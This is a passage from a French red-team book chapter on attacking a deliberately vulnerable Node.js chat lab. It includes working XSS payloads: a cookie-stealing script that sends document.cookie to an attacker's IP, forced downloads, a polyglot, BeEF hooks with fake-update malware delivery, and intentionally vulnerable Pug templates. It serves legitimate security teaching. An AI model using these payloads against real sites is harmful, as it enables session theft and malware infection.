	Démarrez et connectez-vous à la VM.

	Lorsque la VM est complètement démarrée, elle devrait vous indiquer l’adresse IP actuelle de l’application. Vous n’avez pas besoin de vous connecter à la VM et le mot de passe n’est pas fourni. C’est à vous de pénétrer par effraction dans l’application.

	Puisqu’il s’agit d’une application Web hébergée sur votre propre système, enregistrons le nom d’hôte sur notre système Kali attaquant :
	Sur notre machine virtuelle Kali attaquante, éditons notre fichier hosts de manière à pointer vers notre application vulnérable afin de référencer l’application par nom d’hôte versus par IP :
	gedit /etc/hosts



	Ajoutez la ligne suivante avec l’IP de votre application vulnérable :
	[Adresse IP de l’application Vuln] chat



	Maintenant, allez dans votre navigateur en Kali et allez sur http://chat:3000/. Si tout a fonctionné, vous devriez pouvoir voir l’application NodeJS Custom Vuln.




Les commandes et les attaques pour la section Web peuvent être extrêmement longues et compliquées. Pour vous faciliter la tâche, j’ai inclus ici toutes les commandes dont vous aurez besoin pour chaque labo :
https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt

Red Team et attaques d’applications Web
Les deux premières éditions de ce livre mettaient l’accent sur la manière de tester les applications Web de façon efficace et efficiente. Ici, nous allons laisser de côté bon nombre des techniques de base, et nous concentre sur des attaques qui sont utilisées dans le monde réel.
Puisqu’il s’agit plutôt d’un livre à vocation pratique, nous n’entrerons pas dans tous les détails techniques des tests d’applications Web. Cependant, cela ne signifie pas que ces détails doivent être ignorés. L’Open Web Application Security Project, ou OWASP, est une excellente ressource pour tester les informations des applications Web. OWASP se concentre sur le développement et l’éducation des utilisateurs quant à la sécurité des applications. Tous les deux ou trois ans, l’OWASP compile une liste des problèmes les plus courants et les rend publics – voir http://bit.ly/2HAhoGR. Un guide de test plus détaillé est disponible ici : http://bit.ly/2GZbVVZd. Ce document vous guidera à travers les types de vulnérabilités à rechercher, les risques et la façon de les exploiter. Voici un excellent document de check-list : http://bit.ly/2qyA9m1.
Je tiens à mentionner rapidement une chose : si vous voulez faire un test d’intrusion, il est impératif de connaître, à tout le moins, le Top 10 des risques décrits par l’OWASP de manière approfondie. Vous devez non seulement savoir de quoi il s’agit, mais aussi avoir de bons exemples pour chacun d’entre eux en termes de types de risques qu’ils présentent et de la façon de les vérifier. Maintenant, revenons à notre objectif de compromettre nos chatons de l’espace, ou CSK (Cyber Space Kittens).

Le labo CSS
Le laboratoire Chat Support System (CSS) qui sera attaqué a été conçu pour être interactif et mettre en évidence des vulnérabilités nouvelles et anciennes. Comme vous le verrez, pour la plupart des labos suivants, nous fournissons une machine virtuelle personnalisée avec une version du système d’assistance par chat.
L’application elle-même a été écrite en Node.js. Pourquoi Node ? C’est l’une des applications qui croît le plus rapidement, ce que nous constatons en tant que testeurs d’intrusions. Comme beaucoup de développeurs semblent vraiment aimer Node, j’ai pensé qu’il était important pour vous de comprendre les implications de sécurité liées à l’exécution de code de backend JavaScript.
Qu’est-ce que Node ?
Node.js est un runtime JavaScript construit sur le moteur JavaScript V8 de Chrome. Node.js utilise un modèle d’E/S non bloquant et piloté par événement, ce qui le rend léger et efficace (https://nodejs.org/en/). L’écosystème de packages de Node.js, NPM, est le plus grand écosystème de bibliothèques open source au monde.
À un niveau très basique, Node.js vous permet d’exécuter JavaScript en dehors d’un navigateur. En raison du fait que Node.js est léger, rapide et multiplateforme, il peut grandement simplifier un projet. Bien que Node.js ne soit pas un serveur Web, il permet à un serveur (que vous pouvez programmer en JavaScript) d’exister dans un environnement extérieur au client Web réel.
Avantages :
	Très rapide.

	Environnement JavaScript à thread unique capable d’agir en tant que serveur d’application Web autonome.

	Node.js n’est pas un protocole ; c’est en quelque sorte du JavaScript côté serveur.

	Le registre NPM héberge près d’un demi-million de packages de code Node.js gratuit et réutilisable, ce qui en fait le plus grand registre de logiciels au monde.


Avec la popularité croissante de Node.js au cours de ces toutes dernières années, il est très important pour les testeurs de pénétration et les Red Teamers de comprendre ce qu’il faut rechercher, et comment attaquer ces applications. Par exemple, un chercheur a constaté que la faiblesse de certificats NPM lui donnait accès en édition/publication à 13 % des packages du registre NPM. Par le biais des chaînes de dépendance, on estime que 52 % des packages NGP pourraient avoir été vulnérables (https://bit.ly/2sipc70).
Dans les exemples suivants, nos labos se serviront de Node.js comme base de nos applications, qui utiliseront le framework Express (https://expressjs.com/) pour notre serveur Web. Nous ajouterons ensuite le moteur de modèle/template Pug (https://pugjs.org/) à notre framework Express. C’est similaire à ce que l’on voit aujourd’hui couramment dans les applications les plus récentes (voir la Figure 3.3).
Express est un framework Web minimaliste pour Node.js. Il offre un ensemble robuste de fonctionnalités pour les applications Web et mobiles, et vous n’avez donc pas beaucoup de travail à faire. Avec les modules appelés Middlewares, vous pouvez ajouter l’authentification de tiers ou des services comme Facebook Auth ou pour le paiement en ligne.
Pug, connu à l’origine sous le nom de Jade, est un moteur de template (ou modèle) côté serveur que vous pouvez (mais n’avez pas à) utiliser avec Express. Pug est destiné à générer par programme le code HTML sur le serveur et à l’envoyer au client.
Attaquons-nous maintenant à nos chatons du cyberespace, et démarrons la machine virtuelle Chat Support System.
[image: FIGURE 3.3 : Schéma d’utilisation de Node.js.]
FIGURE 3.3 : Schéma d’utilisation de Node.js.



Cyber Space Kittens : le Chat Support System
Vous tombez donc sur le système de chat des Cyber Space Kittens. Au fur et à mesure que vous passez lentement au crible toutes les pages, et que vous comprenez le système sous-jacent, vous recherchez les faiblesses de l’application. Vous devez trouver votre premier point d’entrée dans le serveur de façon à pouvoir basculer dans l’environnement de production.
Vous passez d’abord en revue tous les rapports de votre scanner de vulnérabilités et de votre analyseur d’applications Web, mais vous en sortez les mains vides. Il semble que cette société exécute régulièrement des scanners de vulnérabilités courants, et a corrigé la plupart de ses problèmes. La recherche de la poule aux œufs d’or repose maintenant sur des problèmes de codage, des erreurs de configuration et des failles logiques. Vous remarquerez également que cette application exécute NodeJS, un langage devenu récemment populaire.
Configuration de votre machine de piratage d’application Web
Bien qu’il n’existe pas de recettes parfaites à l’usage des Red Teams, il y a bien entendu un certain nombre d’outils de base dont vous aurez besoin. Notamment :
	Navigateurs : de nombreux navigateurs agissent très différemment, en particulier avec des failles XSS complexes :
	Firefox (mon préféré pour tester)

	Chrome

	Safari



	Wappalyzer : un utilitaire multiplateforme qui découvre les technologies utilisées dans les sites Web. Il détecte les systèmes de gestion de contenu, les plateformes de commerce électronique, les frameworks Web, les logiciels de serveur, les outils analytiques et bien plus encore.
	https://wappalyzer.com/



	BuiltWith : un outil de profilage de sites Web. En cherchant une page, BuiltWith renvoie toutes les technologies qu’il peut trouver sur celle-ci. L’objectif de BuiltWith est d’aider les développeurs, les chercheurs et les concepteurs à trouver quelles technologies les pages utilisent, ce qui peut en retour les aiguiller pour décider quelles technologies mettre en œuvre eux-mêmes.
	https://builtwith.com/



	Retire.JS : analyse une application Web pour rechercher l’utilisation de bibliothèques JavaScript vulnérables. Le but de Retire.js est de vous aider à détecter l’utilisation d’une version comportant des vulnérabilités connues.
	https://bit.ly/2sQVNpN



	Burp Suite (~350 $) : bien que cet outil commercial soit un peu cher, il vaut vraiment son pesant d’or pour les testeurs de pénétration et les Red Teams. Ses avantages proviennent des modules complémentaires, de la conception modulaire et d’une base de développement utilisateur. Si vous n’avez pas les moyens de vous offrir Burp, OWASP ZAP (qui est gratuit) est un excellent outil de remplacement.
	https://portswigger.net/burp/
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project





Analyser une application Web
Avant d’effectuer une quelconque analyse, il est important d’essayer de comprendre le code et l’infrastructure sous-jacents. Comment pouvons-nous savoir ce qui s’exécute en arrière-plan (le backend) ? Nous pouvons utiliser Wappalyzer, BuiltWith, ou simplement inspecter Google Chrome. Sur la Figure 3.4, nous constatons que, lors du chargement de l’application Chat, les en-têtes HTTP affichent un X-Powered By : Express. Nous pouvons également voir avec Wappalyzer que l’application utilise Express et Node.js.
Comprendre l’application avant d’attaquer aveuglément un site peut vous aider à avoir une bien meilleure approche. Cela pourrait également servir avec des sites ciblés qui pourraient avoir des pare-feu applicatifs Web (ou WAF), vous permettant de réaliser une attaque plus ninja.
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FIGURE 3.4 : Analyser l’application Chat.

Découverte Web
Dans les éditions précédentes du livre, nous avons expliqué plus en détail comment utiliser Burp Suite et comment tester la pénétration d’un site. Nous allons nous concentrer davantage sur l’attaque du site.
Nous supposerons, à ce stade, que vous avez installé Burp Suite (en version gratuite ou payante) et que vous êtes sur l’image Kali THP. Une fois que nous comprenons le système sous-jacent, nous devons en identifier tous les tenants et aboutissants. Voyons quels seront nos outils de découverte.
	Burp Suite (https://portswigger.net/burp)
	Spidering : dans sa version gratuite ou payante, Burp Suite dispose d’un excellent outil de spidering (indexation ou encore aspiration).

	Découverte de contenu : si vous utilisez la version payante de Burp Suite, l’une des fonctionnalités de découverte préférées, Content Discovery, se trouve sous les outils Engagement. C’est un outil de découverte intelligent et efficace qui recherche les répertoires et les fichiers. Vous pouvez spécifier plusieurs configurations différentes pour le scan.

	Balayage actif : exécute une analyse automatisée des vulnérabilités sur tous les paramètres et recherche les vulnérabilités Web multiples.



	OWASP ZAP (http://bit.ly/2IVNaO2)
	Similaire à Burp, mais complètement open source et libre. Possède des fonctions de découverte et d’analyse actives similaires.



	Dirbuster
	Un outil un peu ancien, mais qui a toujours été là pour découvrir les fichiers/dossiers d’une application Web, et qui fait encore le travail.

	URL cible : http://chat:3000

	Liste de mots :
	/usr/share/wordlists/dirbuster/directory-list-2.3- small.txt





	GoBuster (https://github.com/OJ/gobuster)
	Outil de détection par force brute de répertoires, de fichiers et de sous-domaines, très léger et rapide.
	gobuster -u http://chat:3000-w/opt/SecLists/Discovery/Web-Content/raft-small-directories.txt-s200,301,307-t 20






Vos listes de mots sont très importantes. Une de mes listes de mots préférées à utiliser s’appelle raft (même si elle est un peu vieille). C’est une collection de nombreux projets open source. Vous pouvez la trouver ainsi que d’autres listes de mots précieux ici : https://bit.ly/2F82fN0 (en fait, elle est déjà incluse dans votre image Kali THP).
Maintenant que nous en avons fini avec la vue d’ensemble, passons aux attaques. En nous plaçant du point de vue de la Red Team, nous recherchons des vulnérabilités que nous pouvons attaquer activement et qui nous permettent d’en avoir le plus pour notre argent. Si nous faisions un audit ou un test d’intrusion, nous pourrions signaler des vulnérabilités telles que des problèmes SSL, des pages Apache par défaut ou encore des vulnérabilités non exploitables. Mais, dans le cadre de nos engagements Red Team, nous pouvons les ignorer complètement et nous concentrer sur les attaques qui nous donnent un accès avancé, des shells ou des dumps de données personnelles.

Cross-Site Scripting XSS
À ce stade, nous avons tous eu l’occasion de voir et de traiter des failles de type Cross-Site Scripting (XSS2). Tester toutes les variables d’un site Web avec l’attaque XSS traditionnelle : <script>alert(1)</script>, pourrait être génial pour du bug bounty, mais peut-on faire plus ? Quels outils et méthodes pouvons-nous utiliser pour mieux construire ces attaques ?
Nous savons que les attaques XSS sont des attaques côté client qui permettent à un attaquant de créer une requête Web spécifique afin d’injecter du code malveillant dans une requête. Cela pourrait généralement être corrigé avec une validation correcte des entrées sur le client et le serveur, mais ce n’est jamais aussi facile. Pourquoi, vous demandez-vous ? Cela est dû à une multitude de raisons. Cela va d’un codage médiocre à l’incompréhension des cadres de programmation, en passant parfois par les applications qui deviennent tellement complexes qu’il est difficile de comprendre où va une entrée.
Comme les boîtes d’alerte ne font pas vraiment de mal, commençons par certains des types d’attaques XSS de base :
	Vol de cookie XSS :
	<script>document.write(‘<img src=»http://<Votre adresse IP>/Stealer.php?cookie=’%2B document.cookie %2B’»/>‘);</script>



	Forcer le téléchargement d’un fichier :
	<script>var link = document.createElement(‘a’); link.href=’http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe’; link.download=’’; document.body.appendChild(link); link.click();</script>



	Redirection de l’utilisateur :
	<script>window.location = “https://www.youtube.com/watch?v=dQw4w9WgXcQ”;</script>



	Autres scripts pour activer les enregistreurs de frappe, prendre des photos, etc. :
	http://www.xss-payloads.com/payloads-list.html?c#category=capture





Charges utiles XSS obscurcies/polyglottes
Dans le monde actuel, la charge utile XSS standard fonctionne encore assez souvent, mais nous rencontrons beaucoup d’applications qui bloquent certains caractères ou qui ont des pare-feu applicatifs Web (WAF). Voici deux bonnes ressources pour vous aider à commencer à créer des attaques XSS obscurcies :
https://github.com/foospidy/payloads/tree/master/other/xss
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Parfois, au cours d’une évaluation, vous pouvez rencontrer des filtres XSS simples qui recherchent des chaînes de caractères comme <script>. L’obscurcissement de la charge utile XSS est une option, mais il est également important de noter que toutes les charges utiles JavaScript ne nécessitent pas des balises <script> ouvertes et fermées. Certains attributs d’événements HTML qui exécutent du JavaScript ont été déclenchés (https://www.w3schools.com/tags/ref_eventattributes.asp). Cela signifie que toute règle qui cherche spécifiquement des balises Script sera inutile. Par exemple, ces attributs d’événements HTML qui exécutent JavaScript ne se trouvent pas à l’intérieur d’une balise <script> :
	<b onmouseover=alert(‘XSS’)>Clique moi!</b>

	<svg onload=alert(1)>

	<body onload=”alert(‘XSS’)”>

	<img src=”http://test.cyberspacekittens.com” onerror=alert(document.cookie);>


Vous pouvez essayer chacune de ces attaques d’entités HTML sur l’application CSK en vous rendant sur http://chat:3000/ (n’oubliez pas de modifier votre fichier /etc/host pour faire pointer le chat vers l’adresse IP de votre machine virtuelle). Une fois sur place, ouvrez un compte, connectez-vous à l’application et accédez à la fonctionnalité de chat (http://chat:3000/chatchannel/1). Essayez les différentes attaques d’entités et les charges utiles obscurcies (voir la Figure 3.5).
Voici d’autres excellentes ressources XSS :
	La première est Mind Map, par @jackmasa. Il s’agit d’un excellent document qui décompose différentes charges utiles XSS en fonction de l’endroit où vos entrées sont traitées. Bien que n’étant plus sur la page GitHub de JackMasa, une copie existe ici : http://bit.ly/2qvnLEq (voir la Figure 3.6).

	Une autre ressource de valeur qui discute de quels navigateurs sont vulnérables à quelles charges utiles XSS est : https://html5sec.org/.


Comme vous pouvez le voir, il est parfois ennuyeux d’essayer de trouver chaque faille XSS sur une application. Cela est dû au fait que les paramètres vulnérables sont affectés par les
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FIGURE 3.5 : Attaque XSS sur le chat !
[image: FIGURE 3.6 : Extrait du Mind Map de JackMasa.]
FIGURE 3.6 : Extrait du Mind Map de JackMasa.
caractéristiques du code, par différents types de balises HTML, par les types d’applications et par les différents types de filtrage. Essayer de retrouver la fenêtre contextuelle XSS initiale peut prendre beaucoup de temps. Mais si on pouvait essayer d’enchaîner plusieurs charges utiles en une seule requête ?
Ce dernier type de charge utile est dite polyglotte. Une charge utile polyglotte utilise différents types de techniques de charge utile/obscurcissement et les compile en une seule attaque. C’est parfait pour les scripts automatisés à la recherche de failles XSS, les chasseurs de primes de bogues ne disposant que d’un temps limité, ou simplement comme moyen rapide de trouver des problèmes de validation d’entrées.
Ainsi, au lieu du <script>alert(1)</script> normal, nous pouvons construire un Polyglot comme celui-ci (http://bit.ly/2GXxqxH) :
/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Si vous regardez la charge utile ci-dessus, l’attaque tente d’extraire des commentaires, des « tics » et des barres obliques. Elle exécute un XSS onclick, ferme plusieurs tags, et enfin, essaye un XSS onload. Ce type d’attaque rend les polyglottes extrêmement efficaces pour l’identification de failles XSS. Vous pouvez en apprendre plus sur ces XSS polyglottes à l’adresse https://bit.ly/2GXxqxH.
Si vous voulez tester et vous amuser avec les différents polyglottes, vous pouvez commencer par les pages XSS vulnérables (http://chat:3000/xss) ou par l’application Chat.

BeEF
Browser Exploitation Framework (http://beefproject.com/), ou BeEF, fait passer XSS à un niveau supérieur. Cet outil injecte une charge utile JavaScript dans le navigateur de la victime, qui infecte le système de l’utilisateur. Cela crée un canal C2 sur le navigateur de la victime pour la postexploitation JavaScript.
Du point de vue de la Red Team, BeEF est un excellent outil à utiliser pour les campagnes, le suivi des utilisateurs, la capture d’informations d’identification, le détournement de clic (clickjacking), les attaques avec kidnapping d’onglets (tabnapping) et plus encore. S’il n’est pas utilisé au cours d’une attaque, BeEF est un excellent outil pour démontrer la puissance d’une vulnérabilité XSS. Cela pourrait aider dans des attaques plus compliquées ainsi que, comme nous le verrons plus loin, dans le cas d’attaques XSS en aveugle.
BeEF est divisé en deux parties : il y a d’un côté le serveur et de l’autre la charge utile de l’attaque. Pour démarrer le serveur :
Lancez BeEF sur votre hôte Kali attaquant :
	À partir d’une fenêtre de terminal :
	beef-xss



	Authentifiez-vous avec beef:beef

	Affichez http://127.0.0.1:3000/hook.js

	Fichier complet de hook pour la charge utile :
	<script src=”http://<Votre IP>:3000/hook.js”></script>




En regardant votre fichier hook.js situé sur http://127.0.0.1:3000/hook.js, vous devriez voir quelque chose qui ressemble à un fichier JavaScript fortement obscurci. C’est la charge utile côté client pour relier votre victime au serveur de commande et de contrôle.
Une fois que vous avez identifié une faille XSS sur votre application cible, au lieu de la charge utile originale de style alert(1), vous devez modifier la charge utile <script src=»http://<Votre adresse IP>:3000/hook.js»></script> pour exploiter cette vulnérabilité. Une fois que votre victime tombe dans ce piège XSS, son navigateur se reconnectera à vous et deviendra une partie de votre réseau zombie.
Quels types d’attaques postexploitation BeEF prend-il en charge ? Une fois que votre victime est sous votre contrôle, vous pouvez réellement faire tout ce que JavaScript peut faire. Vous pouvez allumer sa caméra via HTLM5 et prendre une photo de votre victime, vous pouvez superposer des éléments sur son écran pour capturer des informations d’identification, ou vous pouvez forcer une redirection vers un site malveillant pour exécuter un malware.
Voici une démonstration rapide de la capacité de BeEF à causer des problèmes massifs à partir d’une attaque XSS :
Tout d’abord, assurez-vous que votre serveur BeEF s’exécute sur votre machine attaquante. Sur l’application vulnérable de notre système de chat, vous pouvez vous rendre à l’adresse http://chat:3000/xss. Dans le champ Exercise 2, placez votre charge utile :
<script src=»http://127.0.0.1:3000/hook.js»></script>

Une fois que votre victime est connectée à votre réseau zombie, vous avez le contrôle total de son navigateur. Vous pouvez effectuer toutes sortes d’attaques à partir de son appareil, de son navigateur et des fonctionnalités activées. Une excellente façon de démontrer l’impact de XSS avec des tactiques d’ingénierie sociale consiste à pousser un malware vers sa machine via un message Flash Update (voir la Figure 3.7).
Une fois exécutée, une fenêtre contextuelle s’affiche sur l’ordinateur de la victime, l’obligeant à installer une mise à jour, qui contiendra d’autres logiciels malveillants (voir la Figure 3.8).
Je recommande de passer un peu de temps à jouer avec tous les modules de postexploitation de BeEf et de comprendre la puissance du JavaScript. Puisque nous contrôlons le navigateur, nous devons trouver comment l’utiliser dans le cadre des campagnes Red Team. Que faire d’autre une fois que vous avez infecté une victime à partir d’une faille XSS ? Nous en discuterons dans la section « De XSS à l’exploitation ».
[image: FIGURE 3.7 : Provoquer le chargement d’un malware.]
FIGURE 3.7 : Provoquer le chargement d’un malware.
[image: FIGURE 3.8 : Tromper la victime avec une fausse alerte.]
FIGURE 3.8 : Tromper la victime avec une fausse alerte.

XSS en aveugle
Le thème XSS en aveugle (Blind XSS) est rarement abordé car il s’agit d’une sorte de jeu pour les personnes patientes. Comme le nom de l’attaque le suggère, on parle d’attaque en aveugle lorsque l’exécution d’une charge utile XSS stockée n’est pas visible pour l’attaquant/l’utilisateur, mais seulement visible par un administrateur ou un responsable du système. Bien que cette attaque puisse être très préjudiciable en raison de sa capacité à attaquer les utilisateurs finaux, elle est souvent manquée.
Par exemple, supposons qu’une application dispose d’une page « nous contacter » qui permet à un utilisateur de fournir des informations à l’administrateur afin d’être recontacté ultérieurement. Puisque les résultats de ces données ne sont visibles que manuellement et par un administrateur, et non par l’utilisateur demandeur, et si l’application était vulnérable à une attaque XSS, alors l’attaquant ne verrait pas immédiatement son attaque «alert(1)». Dans ce cas, nous pouvons utiliser XSSHunter (https://xsshunter.com) pour nous aider à valider notre Blind XSS.
XSSHunter fonctionne de la manière suivante : lorsque notre charge utile JavaScript s’exécute, il capture l’écran de la victime (la page en cours de consultation) et renvoie ces données sur le site de XSSHunter. Lorsque cela se produit, XSSHunter va envoyer une alerte signalant que notre charge utile a été exécutée, et il nous fournira toutes les informations détaillées. Nous pouvons maintenant revenir en arrière pour créer une charge utile très malveillante et relancer notre attaque.
Pour utiliser XSS Hunter :
	Désactivez les proxy (c’est-à-dire Burp Suite).

	Créez un compte sur https://xsshunter.com.

	Connectez-vous sur https://xsshunter.com/app.

	Allez à Payloads pour obtenir votre charge utile.

	Modifiez la charge utile pour l’adapter à votre attaque ou construisez un XSS polyglotte avec elle.

	Vérifiez XSS hunter pour voir l’exécution de la charge utile.


La Figure 3.9 illustre le fonctionnement de XSS hunter.
[image: FIGURE 3.9 : XSS hunter à l’œuvre.]
FIGURE 3.9 : XSS hunter à l’œuvre.

XSS basé sur le DOM
Comprendre le XSS réfléchi (non permanent) et stocké (permanent) est relativement simple. Comme nous le savons déjà, le serveur ne fournit pas une validation adéquate des entrées/sorties à l’utilisateur/à la base de données, et notre code de script malveillant est présenté à l’utilisateur dans le code source. Cependant, dans le cas du XSS basé sur le DOM, la méthode est légèrement différente, ce qui peut facilement provoquer des malentendus. Prenons donc le temps de nous intéresser de plus près à ce type de faille.
XSS basé sur le DOM (Document Object Model) est rendu possible lorsqu’un attaquant peut manipuler les scripts côté client de l’application Web. Si un attaquant peut injecter du code malveillant dans le DOM et le faire lire par le navigateur du client, la charge utile peut être exécutée lorsque les données sont relues depuis le DOM.
Qu’est-ce que le DOM exactement ? Le Document Object Model (DOM) est une représentation des propriétés HTML. Puisque votre navigateur ne comprend pas le HTML, il utilise un interpréteur qui transforme le code HTML en un modèle appelé le DOM.
Voyons tout cela de plus près sur notre site de support par chat. En regardant l’application Web vulnérable, vous devriez être en mesure de voir que le site de chat est vulnérable à XSS :
	Créez un compte.

	Connectez-vous.

	Allez à Chat.

	Voyez ce que donne <script>alert(1)</script>, et puis essayez quelques attaques XSS folles !


Dans notre exemple, nous avons Node.js côté serveur, socket.io (une bibliothèque pour Node.js) qui configure les sockets Web entre l’utilisateur et le serveur, JavaScript côté client, et notre code JavaScript malveillant msg.msgText. Comme vous pouvez le constater sur la Figure 3.10 et dans le code source de la page, vous ne verrez pas votre charge utile «alert» directement référencée, comme ce serait le cas dans un XSS standard réfléchi ou stocké. Ici, la seule référence que nous recevrions indiquant où notre charge utile pourrait être appelée, est msg.name. Cela rend parfois difficile de savoir où notre charge utile XSS est exécutée ou s’il est nécessaire de sortir des balises HTML.

XSS avancé dans NodeJS
L’une des principales raisons pour lesquelles XSS continue de revenir sur la scène est que c’est beaucoup plus difficile que de simplement filtrer les balises ou certains caractères. XSS devient vraiment difficile à empêcher lorsque les charges utiles sont spécifiques à un certain langage ou framework. Puisque chaque langage a ses particularités quand il s’agit de vulnérabilités, cela vaut également pour NodeJS.
Dans la section XSS avancée, vous allez passer en revue quelques exemples où des vulnérabilités XSS spécifiques au langage entrent en jeu. Notre application Web NodeJS utilisera
[image: FIGURE 3.10 : Attaque XSS basée sur le DOM.]
FIGURE 3.10 : Attaque XSS basée sur le DOM.
l’une des configurations les plus courantes. Cette implémentation inclut le framework Express (https://expressjs.com/) avec le moteur de template Pug (https://pugjs.org/). Il est important de noter que, par défaut, Express n’a pas vraiment de prévention XSS intégrée, sauf si le rendu est effectué via le moteur de template. Quand un moteur tel que Pug est utilisé, il y a deux manières courantes de trouver les vulnérabilités XSS : (1) par interpolation de chaînes de caractères, et (2) code « buffered » (c’est-à-dire dont les résultats sont évalués et envoyés vers la sortie3).
Les moteurs de templates ont un concept d’interpolation de chaînes de caractères, ce qui est une façon un peu fantaisiste de dire « espaces réservés pour les variables chaîne ». Par exemple, assignons une chaîne de caractères à une variable dans le format de template de Pug:
	- var title = «Ceci est le titre HTML»

	- var THP = «pirater la planète»

	h1 #{title}

	p Ce livre vous apprendra comment #{THP}


Notez que #{THP} est un emplacement de substitution pour la variable qui a été assignée auparavant, THP. De tels modèles sont couramment utilisés dans les messages des listes de distribution de courriels. Avez-vous déjà reçu un courriel d’un système automatisé dont le prénom contenait quelque chose comme Cher ${prénom}... au lieu de votre vrai prénom ? C’est exactement à cela que servent les moteurs de templates.
Lorsque le code ci-dessus est rendu en HTML, il aura l’aspect suivant :
<h1>Voici le titre HTML </h1>
<p>Ce livre vous apprendra comment pirater la planète</p>

Heureusement, nous utilisons ici l’interpolation de chaîne #{}, qui est la version avec échappement. Comme vous pouvez le voir, en utilisant un template, nous pouvons créer du code très réutilisable et rendre les modèles très légers.
Pug supporte l’interpolation des chaînes de caractères avec ou sans échappement. La différence est que l’échappement va encoder au format HTML des caractères comme <,>,’, et «. Cela aidera à fournir une validation des entrées pour l’utilisateur. Si un développeur utilise une interpolation de chaîne sans faire appel à l’échappement, cela conduit généralement à des vulnérabilités XSS.
De plus, l’interpolation de chaîne (ou l’interpolation de variable, la substitution de variable, ou encore l’expansion de variable) est le processus d’évaluation d’une chaîne littérale contenant un ou plusieurs caractères de substitution, donnant un résultat dans lequel ces caractères sont remplacés par leurs valeurs correspondantes (https://en.wikipedia.org/wiki/String_interpolation).
	Dans Pug, interpolation des chaînes de caractères avec ou sans échappement (https://pugjs.org/language/interpolation.html) :
	!{} – Interpolation de chaîne sans échappement

	#{} – Interpolation de chaîne sans échappement *Même ainsi, la chaîne pourrait encore présenter une vulnérabilité XSS si elle est directement passée via JavaScript.



	En JavaScript, le code bufférisé non échappé commence par !=. Tout ce qui suit le != s’exécutera automatiquement en tant que JavaScript (https://pugjs.org/language/code.html#unescaped-buffered-code).

	Enfin, chaque fois que l’on autorise l’insertion de HTML brut, il y a un potentiel de faille XSS.


Dans le monde réel, nous avons vu beaucoup de situations de vulnérabilité à XSS, basées sur la notation ci-dessus lorsque le développeur oublie dans quel contexte il se trouve et d’où vient l’entrée. Jetons un coup d’œil à quelques-uns de ces exemples sur notre application vulnérable de système de support par chat. Accédez à l’URL suivante sur la machine virtuelle : http://chat:3000/xss. Nous allons parcourir chacun de ces exercices pour comprendre les XSS NodeJS/Pug.
Exercice 1
Dans cet exemple, nous avons évité l’interpolation de chaîne dans une balise de paragraphe. Ceci n’est pas exploitable car nous utilisons la notation correcte d’interpolation de chaîne avec échappement dans le contexte du paragraphe HTML.
	Rendez-vous sur http://chat:3000/xss et cliquez sur Exercise #1.

	Le code source du modèle Pug :
	p No results found for #{name1}



	Essayez d’entrer et de soumettre la charge utile suivante :
	<script>alert(1)</script>



	Cliquez à nouveau sur Exercise #1 et revoyez la sortie No Results.

	Visualisez la réponse HTML (le code source de la page) :
	<script>alert(1)</script>




Cette étape est illustrée sur la Figure 3.11.
[image: FIGURE 3.11 : XSS, exercice 1.]
FIGURE 3.11 : XSS, exercice 1.
Après avoir cliqué sur Submit, regardez le code source de la page (ctrl + u) et cherchez le mot alert. Vous allez voir que les caractères spéciaux de notre charge utile sont convertis en entités HTML. Les balises de script sont toujours visibles sur notre site via notre navigateur, mais ne sont pas rendues en JavaScript. Cette utilisation de l’interpolation de chaîne est correcte, et il n’y a vraiment aucun moyen de trouver une faille XSS à partir de ce scénario. Voilà un travail qui mérite un A+ ! Regardons maintenant quelques mauvaises implémentations.

Exercice 2
Dans cet exemple, nous avons une interpolation de chaîne non échappée dénotée par la présence du !{} dans une balise de paragraphe. De par sa conception, il s’agit d’une vulnérabilité XSS. N’importe quelle charge utile XSS de base, telle que : <script>alert(1)</script>, déclenchera l’attaque.
	Aller à Exercise #2.

	Le code source du modèle Pug :
	p No results found for !{name2}



	Essayez d’entrer la charge utile :
	<script>alert(1)</script>



	Réponse :
	<script>alert(1)</script>



	Après avoir cliqué sur Submit, vous devriez voir notre fenêtre pop-up (voir la Figure 3.12). Vous pouvez vérifier le résultat en regardant le code source de la page et en cherchant alert.


[image: FIGURE 3.12 : XSS, exercice 2.]
FIGURE 3.12 : XSS, exercice 2.
Ainsi, l’utilisation d’une interpolation de chaîne non échappée (!{name2}), où l’entrée utilisateur est soumise, provoque de nombreux problèmes. Il s’agit d’une mauvaise pratique qui ne devrait jamais être utilisée pour les données soumises par les utilisateurs. Tout code JavaScript que nous entrons sera exécuté sur le navigateur de la victime.

Exercice 3
Dans cet exemple, nous avons l’interpolation de chaîne avec échappement dans du code JavaScript dynamique en ligne. Cela veut-il dire que nous sommes protégés ? Pas nécessairement. Cet exemple révèle une vulnérabilité en raison du contexte du code dans lequel nous nous trouvons. Nous allons voir que, dans le template Pug, avant notre interpolation avec échappement, nous nous trouvons en fait dans une balise de script. Par conséquent, tout code JavaScript s’exécutera automatiquement. Mieux encore, du fait que nous sommes dans une balise de script, nous n’avons pas besoin de spécifier <script> dans notre charge utile. Nous pouvons utiliser du JavaScript direct, tel que alert(1) :
	Aller à Exercise #3.

	Le code source du modèle Pug :
	script.
	var user3 = #{name3}; p No results found for #{name3}





	Ce modèle va produire du HTML comme celui-ci :
	<script>
<p> No results found for [entrée utilisateur échappée]</p>>.
</script>




	Essayez d’entrer la charge utile :
	1;alert(1);




	Après avoir cliqué sur Submit, vous devriez voir s’afficher notre fenêtre pop-up. Vous pouvez effectuer une vérification en regardant le code source de la page et en cherchant alert.


Bien que ce soit un petit changement, la bonne façon d’écrire ceci aurait été d’ajouter des guillemets autour de l’interpolation :
	Le code source du modèle Pug :
	script.
	var user3=»#{name3}»







Exercice 4
Dans cet exemple, nous avons du code Pug bufférisé non échappé (https://pugjs.org/language/code.html) indiqué par !=, ce qui est vulnérable à XSS par conception, puisqu’il n’y a pas d’échappement. Ainsi, dans ce scénario, nous pouvons utiliser l’attaque simple de style <script>alert(1)</script> contre le champ de saisie.
	Le code source du modèle Pug :


	p !=’No results found for ‘ + name4

	Essayez d’entrer la charge utile :
	<script>alert(1)</script>



	Après avoir cliqué sur Submit, vous devriez voir s’afficher notre fenêtre pop-up. Vous pouvez effectuer une vérification en regardant le code source de la page et en cherchant alert.



Exercice 5
